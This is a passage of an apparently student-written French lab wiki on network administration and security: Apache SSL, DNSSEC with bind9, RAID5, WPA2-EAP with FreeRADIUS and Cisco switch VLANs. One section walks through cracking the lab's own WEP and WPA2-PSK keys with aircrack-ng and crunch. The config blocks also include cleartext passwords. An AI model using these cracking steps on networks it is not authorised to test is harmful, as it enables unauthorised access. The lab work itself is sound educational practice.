                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Génération des clés &lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
Signature de la zone&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
Pour cela, on va brancher notre clé USB au PC. &lt;br /&gt;
On monte ensuite cette clé :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
